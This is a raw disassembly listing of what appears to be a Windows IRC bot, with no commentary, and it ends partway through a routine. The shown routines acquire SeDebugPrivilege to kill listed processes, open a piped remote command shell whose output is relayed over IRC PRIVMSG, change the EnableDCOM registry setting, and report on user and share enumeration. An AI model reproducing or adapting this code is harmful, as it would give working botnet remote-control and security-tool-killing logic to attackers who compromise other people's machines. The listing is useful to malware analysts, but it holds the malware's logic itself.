push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_4198DE
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_41991D: ; CODE XREF: sub_41982C+B4j
lea eax, [ebp+var_218]
push offset unk_439EA4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_419947: ; CODE XREF: sub_41982C+9Ej
; sub_41982C+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41995A
push edi
call dword_4CBA64
xor edi, edi
mov [ebp+var_4], edi
loc_41995A: ; CODE XREF: sub_41982C+A5j
; sub_41982C+120j
cmp [ebp+var_C], 0EAh
jz loc_41986B
cmp edi, esi
jz short loc_419972
push edi
call dword_4CBA64
loc_419972: ; CODE XREF: sub_41982C+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41982C endp
; =============== S U B R O U T I N E =======================================
sub_4199AC proc near ; CODE XREF: sub_418FE5+41p
; sub_4191DB+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419A5E
jz loc_419A57
cmp eax, 7Bh
ja short loc_419A23
jz short loc_419A19
cmp eax, 5
jz short loc_419A0F
cmp eax, 8
jz short loc_419A05
cmp eax, 32h
jz short loc_4199FB
cmp eax, 35h
jz short loc_4199F1
cmp eax, 57h
jnz loc_419AAD
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199F1: ; CODE XREF: sub_4199AC+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199FB: ; CODE XREF: sub_4199AC+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A05: ; CODE XREF: sub_4199AC+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A0F: ; CODE XREF: sub_4199AC+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A19: ; CODE XREF: sub_4199AC+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A23: ; CODE XREF: sub_4199AC+1Aj
sub eax, 7Ch
jz short loc_419A50
sub eax, 7C8h
jz short loc_419A49
dec eax
jz short loc_419A3F
dec eax
jnz short loc_419AAD
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A3F: ; CODE XREF: sub_4199AC+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A49: ; CODE XREF: sub_4199AC+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A50: ; CODE XREF: sub_4199AC+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A57: ; CODE XREF: sub_4199AC+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A5E: ; CODE XREF: sub_4199AC+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419A97
jz short loc_419A90
sub eax, 8ADh
jz short loc_419AC2
dec eax
dec eax
jz short loc_419A89
dec eax
jz short loc_419A82
dec eax
dec eax
jnz short loc_419AAD
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A82: ; CODE XREF: sub_4199AC+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A89: ; CODE XREF: sub_4199AC+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: sub_4199AC+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A97: ; CODE XREF: sub_4199AC+B9j
sub eax, 8CAh
jz short loc_419AC9
sub eax, 17h
jz short loc_419AC2
sub eax, 25h
jz short loc_419ABB
sub eax, 29h
jz short loc_419AB4
loc_419AAD: ; CODE XREF: sub_4199AC+35j
; sub_4199AC+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AB4: ; CODE XREF: sub_4199AC+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419ABB: ; CODE XREF: sub_4199AC+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC2: ; CODE XREF: sub_4199AC+C2j
; sub_4199AC+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC9: ; CODE XREF: sub_4199AC+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419ACE: ; CODE XREF: sub_4199AC+40j
; sub_4199AC+4Aj ...
push offset dword_4DB5E0
call sub_41C266
pop ecx
mov eax, offset dword_4DB5E0
pop ecx
retn
sub_4199AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41E0D4
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_4270C8 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41E0D4
lea eax, [ebp+var_718]
push eax
call sub_41E0B7
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB9E4
test eax, eax
jnz short loc_419B70
mov esi, offset dword_4DB3DC
push offset unk_43A20C
push esi
call sub_41C266
pop ecx
pop ecx
jmp short loc_419B99
; ---------------------------------------------------------------------------
loc_419B70: ; CODE XREF: sub_419AE0+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4199AC
pop ecx
mov esi, offset dword_4DB3DC
push eax
push offset dword_43A1E0
push esi
call sub_41C266
add esp, 14h
loc_419B99: ; CODE XREF: sub_419AE0+8Ej
mov eax, esi
pop esi
leave
retn
sub_419AE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B9E proc near ; CODE XREF: sub_4172C1+45p
; sub_4172C1+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_427104 ; GetCurrentProcess
push eax
call dword_4CB9B8 ; OpenProcessToken
test eax, eax
jnz short loc_419BBD
leave
retn
; ---------------------------------------------------------------------------
loc_419BBD: ; CODE XREF: sub_419B9E+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB990 ; LookupPrivilegeValueA
test eax, eax
jz short loc_419BFB
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419BE4
or [ebp+var_8], 2
jmp short loc_419BE8
; ---------------------------------------------------------------------------
loc_419BE4: ; CODE XREF: sub_419B9E+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419BE8: ; CODE XREF: sub_419B9E+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CBA40 ; AdjustTokenPrivileges
mov esi, eax
loc_419BFB: ; CODE XREF: sub_419B9E+32j
push [ebp+var_4]
call dword_427070 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_419B9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p
; sub_419E38+74p ...
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB9F4, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_419E08
cmp dword_4CB9D8, ebx
jz loc_419E08
cmp dword_4CB8E8, ebx
jz loc_419E08
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB9F4 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_419DFB
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB9D8 ; Process32First
mov esi, dword_427070
test eax, eax
jz loc_419DF6
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB8E8 ; Process32Next
test eax, eax
jz loc_419DF6
mov edi, dword_42708C
mov ebx, 1F0FFFh
loc_419CCD: ; CODE XREF: sub_419C09+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_419D34
mov [ebp+var_4], offset off_43A238
loc_419CDB: ; CODE XREF: sub_419C09+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call dword_42718C ; lstrcmpi
test eax, eax
jz short loc_419D03
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_43A298
jb short loc_419CDB
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D03: ; CODE XREF: sub_419C09+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_419DDC
push 0
push eax
call dword_4270FC ; TerminateProcess
test eax, eax
jnz loc_419DDC
loc_419D2A: ; CODE XREF: sub_419C09+1B9j
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D34: ; CODE XREF: sub_419C09+C9j
cmp [ebp+arg_C], eax
jnz loc_419DC7
cmp [ebp+arg_4], eax
jz loc_419DDC
push [ebp+var_128]
push 8
call dword_4CB9F4 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_419D87
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB894 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_419D8D
lea eax, [ebp+var_234]
jmp short loc_419D93
; ---------------------------------------------------------------------------
loc_419D87: ; CODE XREF: sub_419C09+15Cj
push [ebp+var_128]
loc_419D8D: ; CODE XREF: sub_419C09+174j
lea eax, [ebp+var_10C]
loc_419D93: ; CODE XREF: sub_419C09+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
jmp loc_419D2A
; ---------------------------------------------------------------------------
loc_419DC7: ; CODE XREF: sub_419C09+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_419E0F
loc_419DDC: ; CODE XREF: sub_419C09+F5j
; sub_419C09+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB8E8 ; Process32Next
test eax, eax
jnz loc_419CCD
xor ebx, ebx
loc_419DF6: ; CODE XREF: sub_419C09+9Dj
; sub_419C09+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_419DFB: ; CODE XREF: sub_419C09+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
loc_419E08: ; CODE XREF: sub_419C09+3Aj
; sub_419C09+46j ...
xor eax, eax
loc_419E0A: ; CODE XREF: sub_419C09+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419E0F: ; CODE XREF: sub_419C09+1D1j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call dword_4270FC ; TerminateProcess
test eax, eax
jnz short loc_419E33
push edi
call esi ; CloseHandle
jmp short loc_419E08
; ---------------------------------------------------------------------------
loc_419E33: ; CODE XREF: sub_419C09+223j
push 1
pop eax
jmp short loc_419E0A
sub_419C09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_43A438
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419E97
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419E97: ; CODE XREF: sub_419E38+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419C09
add esp, 18h
test eax, eax
jnz short loc_419EBF
push offset unk_43A414
jmp short loc_419EC4
; ---------------------------------------------------------------------------
loc_419EBF: ; CODE XREF: sub_419E38+7Ej
push offset unk_43A3F0
loc_419EC4: ; CODE XREF: sub_419E38+85j
lea eax, [ebp+var_298]
push eax
call sub_41C266
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419EF7
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419EF7: ; CODE XREF: sub_419E38+9Dj
lea eax, [ebp+var_298]
push eax
call sub_415D38
push [ebp+var_14]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_419E38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p
; sub_40B4F5+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call dword_42708C ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_419F48
push 0
push esi
call dword_4270FC ; TerminateProcess
test eax, eax
jnz short loc_419F48
push esi
xor edi, edi
call dword_427070 ; CloseHandle
loc_419F48: ; CODE XREF: sub_419F16+1Aj
; sub_419F16+27j
mov eax, edi
pop edi
pop esi
retn
sub_419F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419F4D proc near ; DATA XREF: sub_401221+3CDo
push esi
xor esi, esi
loc_419F50: ; CODE XREF: sub_419F4D+1Ej
push 1
push esi
push esi
push esi
push esi
push esi
call sub_419C09
add esp, 18h
push dword_43A234
call dword_427080 ; Sleep
jmp short loc_419F50
sub_419F4D endp
; =============== S U B R O U T I N E =======================================
sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap
; sub_419FD5+7Ep ...
mov eax, dword_4DBC48
push esi
mov esi, dword_427070
cmp eax, 0FFFFFFFFh
jz short loc_419F81
push eax
call esi ; CloseHandle
loc_419F81: ; CODE XREF: sub_419F6D+Fj
mov eax, dword_4DBC50
cmp eax, 0FFFFFFFFh
jz short loc_419F8E
push eax
call esi ; CloseHandle
loc_419F8E: ; CODE XREF: sub_419F6D+1Cj
mov eax, dword_4DBC44
cmp eax, 0FFFFFFFFh
jz short loc_419F9B
push eax
call esi ; CloseHandle
loc_419F9B: ; CODE XREF: sub_419F6D+29j
pop esi
retn
sub_419F6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p
; sub_416000+14Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B9C0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DBC4C
call dword_4270F0 ; WriteFile
test eax, eax
jnz short loc_419FD0
call sub_419F6D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419FD0: ; CODE XREF: sub_419F9D+28j
push 1
pop eax
leave
retn
sub_419F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p
; sub_41A05C+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43DB88
push [ebp+arg_4]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41A018
push 7D0h
call dword_427080 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41C266
add esp, 10h
jmp short loc_41A02F
; ---------------------------------------------------------------------------
loc_41A018: ; CODE XREF: sub_419FD5+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_2 ; "%s"
push eax
call sub_41C266
add esp, 0Ch
loc_41A02F: ; CODE XREF: sub_419FD5+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
test eax, eax
jg short loc_41A058
call sub_419F6D
loc_41A058: ; CODE XREF: sub_419FD5+7Cj
xor eax, eax
leave
retn
sub_419FD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DBC54
loc_41A074: ; CODE XREF: sub_41A05C+79j
; sub_41A05C+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DBC48
call dword_427194 ; PeekNamedPipe
test eax, eax
jz loc_41A142
cmp [ebp+var_4], edi
jnz short loc_41A0D7
lea eax, [ebp+var_8]
push eax
push dword_4DBC44
call dword_427190 ; GetExitCodeProcess
test eax, eax
jz short loc_41A0CD
cmp [ebp+var_8], 103h
jnz loc_41A166
loc_41A0CD: ; CODE XREF: sub_41A05C+62j
push 0Ah
call dword_427080 ; Sleep
jmp short loc_41A074
; ---------------------------------------------------------------------------
loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A0EE
loc_41A0DE: ; CODE XREF: sub_41A05C+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A13C
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A0DE
loc_41A0EE: ; CODE XREF: sub_41A05C+80j
mov [ebp+var_4], esi
loc_41A0F1: ; CODE XREF: sub_41A05C+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DBC48
call dword_4270EC ; ReadFile
test eax, eax
jz short loc_41A18E
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DBC88
call sub_419FD5
add esp, 0Ch
jmp loc_41A074
; ---------------------------------------------------------------------------
loc_41A13C: ; CODE XREF: sub_41A05C+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A0F1
; ---------------------------------------------------------------------------
loc_41A142: ; CODE XREF: sub_41A05C+45j
push offset unk_43A4C0
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push 1
call dword_4270D4 ; ExitThread
loc_41A166: ; CODE XREF: sub_41A05C+6Bj
call sub_419F6D
push offset unk_43A498
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call dword_4270D4 ; ExitThread
loc_41A18E: ; CODE XREF: sub_41A05C+C3j
push offset unk_43A468
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call dword_4270D4 ; ExitThread
sub_41A05C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp
; sub_416000+99p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419F6D
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_4346E0
push esi
call dword_4CBA90 ; SearchPathA
test eax, eax
jz loc_41A2AB
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_427108
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41A2AB
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41A2AB
mov edi, dword_427104
push 3
push esi
push esi
push offset dword_4DBC4C
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_427100 ; DuplicateHandle
test eax, eax
jz short loc_41A2AB
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41BF70
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43DB88
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_427074 ; CreateProcessA
test eax, eax
jnz short loc_41A2B3
loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj
; sub_41A1B1+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A361
; ---------------------------------------------------------------------------
loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j
push [ebp+var_4]
mov edi, dword_427070
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DBC48, eax
mov eax, [ebp+var_8]
mov dword_4DBC50, eax
mov eax, [ebp+var_2C]
mov dword_4DBC44, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DBC88, eax
jz short loc_41A2ED
push [ebp+arg_4]
jmp short loc_41A2EE
; ---------------------------------------------------------------------------
loc_41A2ED: ; CODE XREF: sub_41A1B1+135j
push ebx
loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj
push offset dword_4DBC54
call sub_41C266
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43A524
call sub_40B3BA
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E918[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A05C
push esi
push esi
call dword_427084 ; CreateThread
cmp eax, esi
mov dword_43E924[edi], eax
jnz short loc_41A35F
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_43A4F0
push eax
call sub_41C266
lea eax, [ebp+var_378]
push eax
call sub_415D38
add esp, 10h
loc_41A35F: ; CODE XREF: sub_41A1B1+185j
xor eax, eax
loc_41A361: ; CODE XREF: sub_41A1B1+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A1B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A3AD
call sub_41A3C6
jmp short loc_41A3B2
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A366+3Ej
call sub_41A6EA
loc_41A3B2: ; CODE XREF: sub_41A366+45j
add esp, 10h
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
sub_41A366 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CBAA4, edi
jnz loc_41A4F8
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A451
mov ax, word_439298
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A433
push offset dword_43A7C0
jmp short loc_41A438
; ---------------------------------------------------------------------------
loc_41A433: ; CODE XREF: sub_41A3C6+64j
push offset dword_43A7A0
loc_41A438: ; CODE XREF: sub_41A3C6+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A464
; ---------------------------------------------------------------------------
loc_41A451: ; CODE XREF: sub_41A3C6+36j
lea eax, [ebp+var_214]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A464: ; CODE XREF: sub_41A3C6+89j
cmp [ebp+arg_C], edi
jnz short loc_41A483
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A483: ; CODE XREF: sub_41A3C6+A1j
lea eax, [ebp+var_214]
push eax
call sub_415D38
